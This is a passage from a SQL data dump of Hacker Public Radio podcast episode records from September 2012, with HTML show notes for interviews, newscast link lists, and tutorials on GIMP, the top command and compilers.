href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>.</p>\r\n<p>Remember to support free software!</p>\r\n',198,70,1,'CC-BY-SA','presentation,content,css',0,2268,1),
(1074,'2012-09-13','OGG Camp 11. Post-event Commentary with Alan Pope',978,'Interview with Alan Pope','<h1>This show was recorded last year</h1>\r\n\r\n<p>Welcome to the Full Circle Podcast on Hacker Public Radio. This is the last of our highlights of last Summers unconference, OGG Camp eleven, held at Farnham Maltings in the South of England.</p>\r\n\r\n<p>This show is a post-unconference de-brief with Alan Pope, one of the event organisers and friend of the show.</p>\r\n\r\n<p>OGG Camp is a joint venture organised by those lovely podcasters the <a href=\"https://linuxoutlaws.com/\" target=\"_blank\" >Linux Outlaws</a> and the <a href=\"https://podcast.ubuntu-uk.org/\" target=\"_blank\" >Ubuntu UK Podcast</a>.</p>\r\n\r\n<p>Alan has since joined Canonical as ‘Engineering Manager in Product Strategy,\r\nEngineering Ubuntu for hardware on a variety of devices. Strategy includes the Shuttleworth plan for Ubuntu on Everything.</p>\r\n\r\n<p>Find Alan at popey.com/blog (tagline DON\'T YOU KNOW WHO I AM!!) and in his regular appearances as the host of the Ubuntu UK Podcast at https://podcast.ubuntu-uk.org/</p>\r\n\r\n<p>His wiki page is at https://wiki.ubuntu.com/AlanPope</p>\r\n\r\n<p>The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community. Find us at <a href=\"www.fullcirclemagazine.org/podcast\" target=\"_blank\">www.fullcirclemagazine.org/podcast</a>.</p>\r\n\r\n<p>Feedback; you can post comments and feedback on the podcast page at <a href=\"www.fullcirclemagazine.org/podcast\" target=\"_blank\">www.fullcirclemagazine.org/podcast</a>, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n\r\n<p><strong>Your Hosts:</strong></p>\r\n\r\n<ul>\r\n<li><strong>Robin Catling</strong> (blog at <a target=\"_blank\" href=\"https://catlingmindswipe.blogspot.com/\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter)</li>\r\n</ul>\r\n\r\n<p><em>Additional audio by Victoria Pritchard</em></p>\r\n\r\n<p><strong>Runtime:</strong> 16mins 18seconds</p>\r\n',160,62,1,'CC-BY-SA','interview,oggcamp,oggcamp11',0,2169,1),
(1075,'2012-09-13','tgtm-news-75-20120912',1086,'A newscast from Talk Geek to Me','<h1 style=\"text-align: center;\">TGTM Newscast for 9/12/2012\r\n</h1>\r\n<h2 style=\"text-align: center;\">DeepGeek\r\n</h2>\r\n<p>Here is a news review:</p>\r\n<ul>\r\n<li><a href=\"https://www.democracynow.org/2012/9/6/headlines#961\">New\r\nCase of Waterboarding of Foreign Prisoner Revealed </a></li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/dutch-pirate-party-ready-to-enter-national-parliament-120903/\">Dutch\r\nPirate Party Ready To Enter National Parliament</a></li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20120906/12484220305/too-much-secrecy-press-ask-court-to-open-up-bradley-manning-court-martial.shtml\">Too\r\nMuch Secrecy: Press Ask The Court To Open Up Bradley Manning Court\r\nMartial</a></li>\r\n<li><a\r\nhref=\"https://maggiemcneill.wordpress.com/2012/09/04/one-in-seven/\">One\r\nin Seven</a></li>\r\n<li><a\r\nhref=\"https://inthesetimes.com/article/13787/five_mysteries_from_the_dnc/\">5\r\nMysteries from the DNC</a></li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/pirate-bay-founder-arrest-related-to-tax-hack-not-piracy-120906/\">Pirate\r\nBay Founder Arrest Related To Tax Hack, Not Piracy</a></li>\r\n<li><a\r\nhref=\"https://inthesetimes.com/article/13795/big_brother_in_your_car/\">Big\r\nBrother In Your Car</a></li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2012/09/eff-asks-appeals-court-rehear-cell-site-tracking-case\">EFF\r\nAsks Appeals Court to Rehear Cell Site Tracking Case</a></li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2012/09/copyrights-robot-wars-heat-algorithms-block-live-streams-first-and-ask-questions\">Copyright\'s\r\nRobot Wars Heat Up as Algorithms Block Live-Streams First and Ask\r\nQuestions Later</a></li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/anti-piracy-blocklists-dont-keep-bittorrent-spies-out-120904/\">Anti-Piracy\r\nBlocklists Don’t Keep BitTorrent Spies Out</a></li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n<li><a\r\nhref=\"https://peoplesworld.org/arctic-sea-ice-hits-lowest-levels-ever/\">Arctic\r\nsea ice hits lowest levels ever</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1414\">Noam Chomsky:\r\nWhy America and Israel Are the Greatest Threats to Peace</a></li>\r\n<li><a\r\nhref=\"https://www.guardian.co.uk/technology/2012/sep/05/samsung-accused-exploiting-workers-china\">Samsung\r\naccused of exploiting younger workers in China</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=Yt4OPoHmpRg\">Laura\r\nAgustín, the Naked Anthropologist, on Trafficking at London\'s Battle of\r\nIdeas </a></li>\r\n<li><a\r\nhref=\"https://inthesetimes.com/article/13785/two_wasted_years_orwell_at_the_bbc/\">‘Two\r\nWasted Years’: Orwell at the BBC</a></li>\r\n</ul>\r\n<p>News from \"techdirt.com,\" \"maggiemcneill.wordpress.com,\" and&nbsp;\r\n\"inthesetimes.com,\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"torrentfreak.com,\" and \"eff.org,\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n<p>News from \"democracynow.org\"&nbsp; used under permission of the\r\nCreative Commons\r\nby-attribution non-commercial no-derivatives license.<br />\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.democracynow.org/2012/9/6/headlines#961\">https://www.democracynow.org/2012/9/6/headlines#961</a></li>\r\n<li><a href=\"https://torrentfreak.com/dutch-pirate-party-ready-to-enter-national-parliament-120903/\">https://torrentfreak.com/dutch-pirate-party-ready-to-enter-national-parliament-120903/</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120906/12484220305/too-much-secrecy-press-ask-court-to-open-up-bradley-manning-court-martial.shtml\">https://www.techdirt.com/articles/20120906/12484220305/too-much-secrecy-press-ask-court-to-open-up-bradley-manning-court-martial.shtml</a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2012/09/04/one-in-seven/\">https://maggiemcneill.wordpress.com/2012/09/04/one-in-seven/</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/13787/five_mysteries_from_the_dnc/\">https://inthesetimes.com/article/13787/five_mysteries_from_the_dnc/</a></li>\r\n<li><a href=\"https://torrentfreak.com/pirate-bay-founder-arrest-related-to-tax-hack-not-piracy-120906/\">https://torrentfreak.com/pirate-bay-founder-arrest-related-to-tax-hack-not-piracy-120906/</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/13795/big_brother_in_your_car/\">https://inthesetimes.com/article/13795/big_brother_in_your_car/</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/09/eff-asks-appeals-court-rehear-cell-site-tracking-case\">https://www.eff.org/deeplinks/2012/09/eff-asks-appeals-court-rehear-cell-site-tracking-case</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/09/copyrights-robot-wars-heat-algorithms-block-live-streams-first-and-ask-questions\">https://www.eff.org/deeplinks/2012/09/copyrights-robot-wars-heat-algorithms-block-live-streams-first-and-ask-questions</a></li>\r\n<li><a href=\"https://torrentfreak.com/anti-piracy-blocklists-dont-keep-bittorrent-spies-out-120904/\">https://torrentfreak.com/anti-piracy-blocklists-dont-keep-bittorrent-spies-out-120904/</a></li>\r\n<li><a href=\"https://peoplesworld.org/arctic-sea-ice-hits-lowest-levels-ever/\">https://peoplesworld.org/arctic-sea-ice-hits-lowest-levels-ever/</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1414\">https://sacsis.org.za/site/article/1414</a></li>\r\n<li><a href=\"https://www.guardian.co.uk/technology/2012/sep/05/samsung-accused-exploiting-workers-china\">https://www.guardian.co.uk/technology/2012/sep/05/samsung-accused-exploiting-workers-china</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=Yt4OPoHmpRg\">https://www.youtube.com/watch?v=Yt4OPoHmpRg</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/13785/two_wasted_years_orwell_at_the_bbc/\">https://inthesetimes.com/article/13785/two_wasted_years_orwell_at_the_bbc/</a></li>\r\n</ul>',237,65,1,'CC-BY-SA','newscast,TGTM',0,2318,1),
(1076,'2012-09-17','Ohio LinuxFest 2012',2320,'Describing the upcoming Ohio LinuxFest conference and expo','<p>In todays show Ken talks to Kevin O\'Brien about <strong>Ohio LinuxFest</strong><br />\r\n<em>From Wikipedia, the free encyclopedia</em><br />\r\nThe Ohio LinuxFest is an annual technology conference and expo held in Columbus, Ohio. The event is dedicated to discussion and development of the Linux operating system and other open source software projects. During the event, conference attendees listen to a number of presentations and make contact with a number of companies and non-profit organizations who share an interest in open source software.\r\n</p>\r\n<h2>Ohio LinuxFest 2012</h2>\r\n<h3>Free and Open Software Conference and Expo - Columbus, Ohio - September 28-30, 2012</h3>\r\n<p>\r\nThe tenth annual Ohio LinuxFest will be held on September 28-30, 2012 at the Greater Columbus Convention Center in downtown Columbus, Ohio. Hosting authoritative speakers and a large expo, the Ohio LinuxFest welcomes all Free and Open Source Software professionals, enthusiasts, and everyone interested in learning more about Free and Open Source Software.\r\n</p>\r\n',30,0,1,'CC-BY-SA','interview,OLF 2012,Ohio LinuxFest',0,2341,1),
(1077,'2012-09-18','FSCONS: Haralanova Hack for Freedom!',827,'Interview with Christina Haralanova from Canada','<p>Today FSCONS keynote speaker Christina Haralanova from Canada tell us about her keynote, the presentation she was not able to give, and how you teach your kids to hack stuff. Keep on hacking, and teach the young ones to do so as well!</p>\r\n\r\n<h3>References</h3>\r\n\r\n<ul>\r\n  <li><a href=\"https://www.ludost.org/\">ludost.org</a></li>\r\n  <li><a href=\"https://foulab.org/en/wiki/Index_Page\">Foulab</a></li>\r\n\r\n  <li>Identi.ca: <a href=\"https://identi.ca/ludost\">@ludost</a></li>\r\n  <li>Twitter: <a href=\"https://twitter.com/ludost11\">@ludost11</a></li>\r\n\r\n  <li><a href=\"https://fscons.org/2011/\">FSCONS 2011</a></li>\r\n  <li><a href=\"https://vimeo.com/fscons/\">FSCONS on Vimeo</a></li>\r\n</ul>\r\n\r\n \r\n<h3>How to reach me</h3>\r\n\r\n<p>You should follow me and subscribe to All In IT Radio: </p>\r\n\r\n<ul>\r\n  <li><a href=\"https://identi.ca/alltinomit\">Identi.ca: @alltinomit</a></li>\r\n  <li><a href=\"https://twitter.com/alltinomit\">Twitter: @alltinomit</a></li>\r\n  <li><a href=\"https://plus.google.com/100309783606985145580/\">https://aiit.se/radio/+</a></li>\r\n  <li><a href=\"https://aiit.se/radio/\">https://aiit.se/radio/</a></li>\r\n</ul>',192,78,1,'CC-BY-SA','interview,FSCONS 2011,freedom,hacking',0,2421,1),
(1078,'2012-09-18','A podcast about software patents/unitary patent',201,'The European Parliament and the issue of software patentability','In today\'s show we hear from the executive director of April, the main French association devoted to promoting and protecting Free Software.<br />\r\n<br />\r\nIn the next few days, the legal affairs (JURI) Committee of the European Parliament will discuss on the next actions regarding the project for a unitary patent. Behind what looks like a technical text lies a crucial issue: who decides on what is patentable and what is not.<br />\r\n<br />\r\nAs software patents are coming back in international news with the Apple/Samsung case, we need to ensure that such aberrations cannot happen in Europe. We calls for a general mobilisation to contact all MEPs, so that the European Parliament finally tackles the issue of the software patentability.<br />\r\n<br />\r\nApril has put into place a few campaigning tools to inform and to raise MEPs\' awareness. Everything is available on :<br />\r\n<a href=\"https://call.unitary-patent.eu\">https://call.unitary-patent.eu</a>',223,0,1,'CC-BY-SA','patent,software patent,unitary patent,Free Software',0,2336,1),
(1079,'2012-09-20','Distributed Systems Podcast',5034,'Episode 12: LMAX','<p>\r\nIn today\'s show we feature the <strong>Distributed Systems Podcast</strong><em> - all you ever wanted to hear and learn about building with DDD, CQRS, Cloud and much more!</em>\r\n</p>\r\n<h1>Episode 12: LMAX</h1>\r\n<p>by Rinat Abdullin on April 2, 2012</p>\r\n<p>In this episode, Jonathan and Rinat interview Mike Barker who helped architect the LMAX Disruptor project, a high-performance, ultra-low latency&nbsp;structure&nbsp;for producer/consumer operations.</p>\r\n<p>Notes:</p>\r\n<ul>\r\n<li>Official Project -&nbsp;<a href=\"https://code.google.com/p/disruptor/\">Google Code: https://code.google.com/p/disruptor/</a></li>\r\n<li><a href=\"https://groups.google.com/forum/#!forum/lmax-disruptor\">Google Group:https://groups.google.com/forum/#!forum/lmax-disruptor </a></li>\r\n<li><a href=\"https://code.google.com/p/disruptor-net/\">.NET Disruptor port: https://code.google.com/p/disruptor-net/</a></li>\r\n<li><a href=\"https://disruptor.googlecode.com/files/Disruptor-1.0.pdf\">Technical paper: https://disruptor.googlecode.com/files/Disruptor-1.0.pdf</a></li>\r\n<li>Mike\'s blog-<a href=\"https://bad-concurrency.blogspot.com\">Bad Concurrency: https://bad-concurrency.blogspot.com</a></li>\r\n<li>Mike\'s co-worker\'s blog-<a href=\"https://mechanical-sympathy.blogspot.com/\">Mechanical Sympathy: https://mechanical-sympathy.blogspot.com/</a></li>\r\n<li>Mike\'s co-worker\'s blog-<a href=\"https://mechanitis.blogspot.com/\">Mechanitis: https://mechanitis.blogspot.com/</a></li>\r\n<li><a href=\"https://martinfowler.com/articles/lmax.html\">Martin Fowler\'s review: https://martinfowler.com/articles/lmax.html</a></li>\r\n</ul>\r\n<p>Enjoy.</p>\r\n',159,54,1,'CC-BY-SA','Distributed Systems Podcast,LMAX Disruptor,Java,C,C++,Fedora,Red Hat',0,2451,1),
(1080,'2012-09-21','TGTM Newscast for 9/19/2012 DeepGeek ',1639,'A newscast from Talk Geek to Me','<h2>TGTM Newscast for 9/19/2012 DeepGeek </h2>\r\n<p>Here is a news review:</p>\r\n<ul><li><a href=\"https://www.democracynow.org/2012/9/13/headlines#9133\">Judge Permanently Blocks Indefinite Detention Provision in NDAA</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/9/17/headlines#9171\">Wisconsin Judge Strikes Down Most of Anti-Union Law </a></li>\r\n<li><a href=\"https://www.rawstory.com/rs/2012/09/16/protests-mark-mexican-independence-day-celebrations/\">Protests mark Mexican Independence Day celebrations</a></li>\r\n<li><a href=\"https://peoplesworld.org/faith-leaders-condemn-far-right-values-summit/\">Faith leaders condemn far right Values summit</a></li>\r\n\r\n<li><a href=\"https://www.allgov.com/news/unusual-news/mexican-town-turns-illegal-immigration-into-a-tourist-attraction-120916?news=845318\">Mexican Town Turns Illegal Immigration into a Tourist Attraction</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/09/ny-judge-tries-silence-twitter\">New York Judge Tries to Silence Twitter in Its Ongoing Battle to Protect User Privacy</a></li>\r\n<li><a href=\"https://torrentfreak.com/injustice-continues-as-megaupload-user-data-negotiations-go-bust-120913/\">Injustice Continues as Megaupload User Data Negotiations Go Bust</a></li>\r\n<li><a href=\"https://torrentfreak.com/no-duty-to-secure-wi-fi-from-bittorrent-pirates-judge-rules-120912/\">No Duty to Secure Wi-Fi from BitTorrent Pirates, Judge Rules</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120913/23182420380/house-approves-bill-to-spy-americans-misrepresenting-lying-about-whats-bill.shtml\">House Approves Bill To Spy On Americans By Misrepresenting Or Lying About What\'s In The Bill</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120913/19485120378/demanding-students-facebook-password-violation-first-amendment-rights-judge-says.shtml\">Demanding A Student\'s Facebook Password A Violation Of First Amendment Rights, Judge Says</a></li></ul>\r\n<p>Other Headlines:</p>\r\n<ul><li><a href=\"https://www.guardian.co.uk/commentisfree/2012/sep/18/obama-appeals-ndaa-detention-law\">Unlike Afghan leaders, Obama fights for power of indefinite military detention</a></li>\r\n<li><a href=\"https://dissenter.firedoglake.com/2012/09/13/permanent-injunction-against-ndaa-provision-issued-by-federal-judge/\">Permanent Injunction Against Indefinite Military Detention in NDAA Issued by Federal Judge</a></li>\r\n\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2012/09/14/thoughts-on-my-first-conference/\">Thoughts On My First Conference</a></li>\r\n<li><a href=\"https://www.thenation.com/blog/170001/more-180-arrested-occupy-wall-streets-first-anniversary\">More Than 180 Arrested on Occupy Wall Street\'s First Anniversary</a></li>\r\n<li><a href=\"https://www.mayhemiclabs.com/node/34\">Where has that cloud server been?</a></li></ul>\r\n<p>News from \"techdirt.com,\" \"rawstory.com,\"\r\nand\r\n\"allgov.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"eff.org,\" and \"torrentfreak.com\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n<p>News from \"democracynow.org,\" and\r\n\"peoplesworld.org\" used under permission of the Creative Commons\r\nby-attribution non-commercial no-derivatives license.<br />\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n<h2>Links</h2><ul>\r\n<li><a href=\"https://www.democracynow.org/2012/9/13/headlines#9133\">https://www.democracynow.org/2012/9/13/headlines#9133</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/9/17/headlines#9171\">https://www.democracynow.org/2012/9/17/headlines#9171</a></li>\r\n<li><a href=\"https://www.rawstory.com/rs/2012/09/16/protests-mark-mexican-independence-day-celebrations/\">https://www.rawstory.com/rs/2012/09/16/protests-mark-mexican-independence-day-celebrations/</a></li>\r\n<li><a href=\"https://peoplesworld.org/faith-leaders-condemn-far-right-values-summit/\">https://peoplesworld.org/faith-leaders-condemn-far-right-values-summit/</a></li>\r\n<li><a href=\"https://www.allgov.com/news/unusual-news/mexican-town-turns-illegal-immigration-into-a-tourist-attraction-120916?news=845318\">https://www.allgov.com/news/unusual-news/mexican-town-turns-illegal-immigration-into-a-tourist-attraction-120916?news=845318</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/09/ny-judge-tries-silence-twitter\">https://www.eff.org/deeplinks/2012/09/ny-judge-tries-silence-twitter</a></li>\r\n<li><a href=\"https://torrentfreak.com/injustice-continues-as-megaupload-user-data-negotiations-go-bust-120913/\">https://torrentfreak.com/injustice-continues-as-megaupload-user-data-negotiations-go-bust-120913/</a></li>\r\n<li><a href=\"https://torrentfreak.com/no-duty-to-secure-wi-fi-from-bittorrent-pirates-judge-rules-120912/\">https://torrentfreak.com/no-duty-to-secure-wi-fi-from-bittorrent-pirates-judge-rules-120912/</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120913/23182420380/house-approves-bill-to-spy-americans-misrepresenting-lying-about-whats-bill.shtml\">https://www.techdirt.com/articles/20120913/23182420380/house-approves-bill-to-spy-americans-misrepresenting-lying-about-whats-bill.shtml</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120913/19485120378/demanding-students-facebook-password-violation-first-amendment-rights-judge-says.shtml\">https://www.techdirt.com/articles/20120913/19485120378/demanding-students-facebook-password-violation-first-amendment-rights-judge-says.shtml</a></li>\r\n<li><a href=\"https://www.guardian.co.uk/commentisfree/2012/sep/18/obama-appeals-ndaa-detention-law\">https://www.guardian.co.uk/commentisfree/2012/sep/18/obama-appeals-ndaa-detention-law</a></li>\r\n<li><a href=\"https://dissenter.firedoglake.com/2012/09/13/permanent-injunction-against-ndaa-provision-issued-by-federal-judge/\">https://dissenter.firedoglake.com/2012/09/13/permanent-injunction-against-ndaa-provision-issued-by-federal-judge/</a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2012/09/14/thoughts-on-my-first-conference/\">https://maggiemcneill.wordpress.com/2012/09/14/thoughts-on-my-first-conference/</a></li>\r\n<li><a href=\"https://www.thenation.com/blog/170001/more-180-arrested-occupy-wall-streets-first-anniversary\">https://www.thenation.com/blog/170001/more-180-arrested-occupy-wall-streets-first-anniversary</a></li>\r\n<li><a href=\"https://www.mayhemiclabs.com/node/34\">https://www.mayhemiclabs.com/node/34</a></li>\r\n</ul>',237,65,1,'CC-BY-SA','newscast,TGTM',0,2523,1),
(1081,'2012-09-24','Preparing Pictures for Posting with the GIMP',1504,'Preparing photographs for posting on a website','<p>Frank Bell describes the process he uses to prepare photographs for posting pictures on his website.  The goal of the process is not to transform the pictures, but to enhance them, and includes sharpening, adjusting the contrast and brightness, cropping, and resizing.  Frank walks through applying the process to a snapshot from his deck garden.\r\n</p>\r\n<p>\r\n<!-- Pictures fixed 2022-05-19 by Dave Morriss. Had vanished from their\r\n    original place but were restored from the Wayback Machine -->\r\n<!-- <img src=\"https://pineviewfarm.net/misc/wasp/HPRwasp1.jpg\" alt=\"The unedited original\" width=\"400\"  /><br /> --->\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1081/HPRwasp1.jpg\" alt=\"The unedited original\" width=\"400\"  /><br />\r\n<!-- <img src=\"https://pineviewfarm.net/misc/wasp/HPRwasp1-sharpened.jpg\" alt=\"The picture sharpened\" width=\"400\"  /><br /> -->\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1081/HPRwasp1-sharpened.jpg\" alt=\"The picture sharpened\" width=\"400\"  /><br />\r\n<!-- <img src=\"https://pineviewfarm.net/misc/wasp/HPRwasp1-b_and_c.jpg\" alt=\"The picture with brightness and contrast adjusted\" width=\"400\"  /><br /> -->\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1081/HPRwasp1-b_and_c.jpg\" alt=\"The picture with brightness and contrast adjusted\" width=\"400\"  /><br />\r\n<!-- <img src=\"https://pineviewfarm.net/misc/wasp/HPRwasp1-cropped.jpg\" alt=\"The cropped picture\" width=\"400\"  /><br /> -->\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1081/HPRwasp1-cropped.jpg\" alt=\"The cropped picture\" width=\"400\"  /><br />\r\n<!-- <img src=\"https://pineviewfarm.net/misc/wasp/HPRwasp1-resized.jpg\" alt=\"The resized picture\" width=\"400\"  /><br /> -->\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1081/HPRwasp1-resized.jpg\" alt=\"The resized picture\" width=\"400\"  /><br />\r\n<a href=\"https://www.pineviewfarm.net/weblog/2012/05/wasp-2/\">Blog post of the picture</a>\r\n</p>\r\n<h2>Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.gimp.org/\">GIMP homepage</a>:  https://www.gimp.org/</li>\r\n<li><a href=\"https://blog.meetthegimp.org/\">The MeettheGimp videocast</a>:</li>  \r\n<li><a href=\"https://www.fujifilm.com/products/digital_cameras/s/finepix_s3200/\"> Frank\'s camera:</a> https://www.fujifilm.com/products/digital_cameras/s/finepix_s3200/</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Potter_wasp\">Potter wasps (Wikipedia)</a>:  https://en.wikipedia.org/wiki/Potter_wasp</li>\r\n<li><a href=\"https://www.pineviewfarm.net/weblog/2011/12/eagles-reprise/\">Frank\'s brother\'s eagle pictures</a>:  https://www.pineviewfarm.net/weblog/2011/12/eagles-reprise/</li>\r\n</ul>\r\n\r\n<h2>The pictures from the podcast:</h2>\r\n<ul>\r\n<li><a href=\"https://pineviewfarm.net/misc/wasp/HPRwasp1.jpg\">The unedited original</a>: https://pineviewfarm.net/misc/wasp/HPRwasp1.jpg</li>\r\n<li><a href=\"https://pineviewfarm.net/misc/wasp/HPRwasp1-sharpened.jpg\">The picture sharpened</a>: https://pineviewfarm.net/misc/wasp/HPRwasp1-sharpened.jpg</li>\r\n<li><a href=\"https://pineviewfarm.net/misc/wasp/HPRwasp1-b_and_c.jpg\">The picture with brightness and contrast adjusted</a>:  https://pineviewfarm.net/misc/wasp/HPRwasp1-b_and_c.jpg</li>\r\n<li><a href=\"https://pineviewfarm.net/misc/wasp/HPRwasp1-cropped.jpg\">The cropped picture</a>: https://pineviewfarm.net/misc/wasp/HPRwasp1-cropped.jpg</li>\r\n<li><a href=\"https://pineviewfarm.net/misc/wasp/HPRwasp1-resized.jpg\">The resized picture</a>: https://pineviewfarm.net/misc/wasp/HPRwasp1-resized.jpg</li>\r\n<li><a href=\"https://www.pineviewfarm.net/weblog/2012/05/wasp-2/\">Blog post of the picture</a>:  https://www.pineviewfarm.net/weblog/2012/05/wasp-2/</li>\r\n</ul>\r\n',195,0,1,'CC-BY-SA','GIMP,GNU Image Manipulation Program,photography',0,2458,1),
(1082,'2012-09-25','LiTS 016: top pt 4: Alternate Windows',1178,'Part 4 of the top command','<p>This final installment on the top command will discuss the alternate displays for top. When starting top with the defaults one is presented with a full screen view of top containing the summary window at the top and the task area in the bottom. The task area usually takes up three quarters of the top window. This display is not the only informative view that top has. By pressing the “A” key the “Alternate Display” view is presented where the task area becomes four separate task areas of equal size called “field groups”. The summary area remains where it is. Each of the four field groups displays the task information in a different manner.\r\n</p>\r\n<p>\r\nFor complete shownotes, and video see <a href=\"https://www.linuxintheshell.com/2012/09/25/episode-016-top-pt-4-alternate-windows/\">https://www.linuxintheshell.com/2012/09/25/episode-016-top-pt-4-alternate-windows/</a>\r\n</p>\r\n',7,67,1,'CC-BY-SA','top',0,2853,1),
(1083,'2012-09-26','compilers part1',591,'The concept of a compiler','From the studios of miscellaneous radio theater 4096<br />\r\n<br />\r\nIn this multipart episode sigflup describes the general concept of a compiler as well as the stages of a compiler.',115,84,1,'CC-BY-SA','compiler,neocortex,lexical analysis,preprocessing,parsing,semantic analysis,code generation,assembling,linking',0,2438,1),
(1084,'2012-09-26','Paul Levy on Learning to Dance with Spiders',1653,'A Full Circle Podcast interview with Paul Levy','<p>Hello world. And welcome to the Full Circle Podcast on Hacker Public Radio. This episode consists of an interview with entrepreneur, thinker and author Paul Levy.</p>\r\n\r\n<p>The founder of Cats3000 and Rational Madness and author of the play Texts, Paul is also convener of the Critical Incident unconference, which together lead to <em>Learning to Dance with Spiders</em>, a workshop in which Paul shares some experiments from his book about living consciously with your mobile phone and staying intact in the world of social media. \"Truly ground-breaking, uncomfortable, and usable.”</p>\r\n\r\n<p>Also discussed:<br/>\r\n    Jaron Lanier: You are not a Gadget<br/>\r\n    Sherri Turkel: Alone Together</p>\r\n\r\n<p>Paul Levy’s site combines Cats3000 and Rational Madness at <a href=\"https://rationalmadness.wordpress.com/\">https://rationalmadness.wordpress.com/</a>, where you will also find the e-book  <em>The Collusion of Mediocrity</em>.</p>\r\n\r\n<p>The Critical Incident un-Conference for 2012 has been announced on the theme of the I. Take a look over the conference plan for this year over at the Critical Incident website, <a href=\"https://www.thecriticalincident.com/\">www.thecriticalincident.com/</a></p>\r\n\r\n<p>The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community. Find us at <a href=\"https://www.fullcirclemagazine.org/podcast\" target=\"_blank\">www.fullcirclemagazine.org/podcast</a>.</p>\r\n\r\n<p>Feedback; you can post comments and feedback on the podcast page at <a href=\"https://www.fullcirclemagazine.org/podcast\" target=\"_blank\">www.fullcirclemagazine.org/podcast</a>, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n\r\n<p><strong>Your Hosts:</strong></p>\r\n\r\n<ul>\r\n<li><strong>Robin Catling</strong> (blog at <a target=\"_blank\" href=\"https://catlingmindswipe.blogspot.com/\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter)</li>\r\n</ul>\r\n\r\n<p><em>Additional audio by Victoria Pritchard</em></p>\r\n\r\n<p><strong>Runtime:</strong> 27mins 33seconds</p>\r\n',160,0,1,'CC-BY-SA','Interview,Full Circle Podcast',0,2480,1),
(1085,'2012-09-27','A Stream',470,'An ambient recording of a stream','<p>Back in episode 1058, OggCamp12 Hardware Hackers, (<a href=\"https://hackerpublicradio.org/eps.php?id=1058\">https://hackerpublicradio.org/eps.php?id=1058</a>) we met Zack at the hardware village at OggCamp12. He was busy with his project to orchestrate music based on the movement of a Kite.</p>\r\n<p>\r\nToday he sent us in a recording of a stream. Ideal to use as ambient noise in the workplace or in your audio dramas. He has uploaded it to <a href=\"www.freesound.org\">www.freesound.org</a> but we will also host the flac version of the original and of the edited show\r\n</p>\r\n<p>\r\nhpr1085 flac version: <a href=\"https://hackerpublicradio.org/eps/hpr1085/hpr1085.flac\">https://hackerpublicradio.org/eps/hpr1085/hpr1085.flac</a><br />\r\nZack\'s original:  <a href=\"https://hackerpublicradio.org/eps/hpr1085/Zachary_De_Santos-NIISA_at_gmx.co.uk_Stream6.wav\">https://hackerpublicradio.org/eps/hpr1085/Zachary_De_Santos-NIISA_at_gmx.co.uk_Stream6.wav</a><br /></p>\r\n',224,101,1,'CC-BY-SA','ambient sound',0,2443,1),
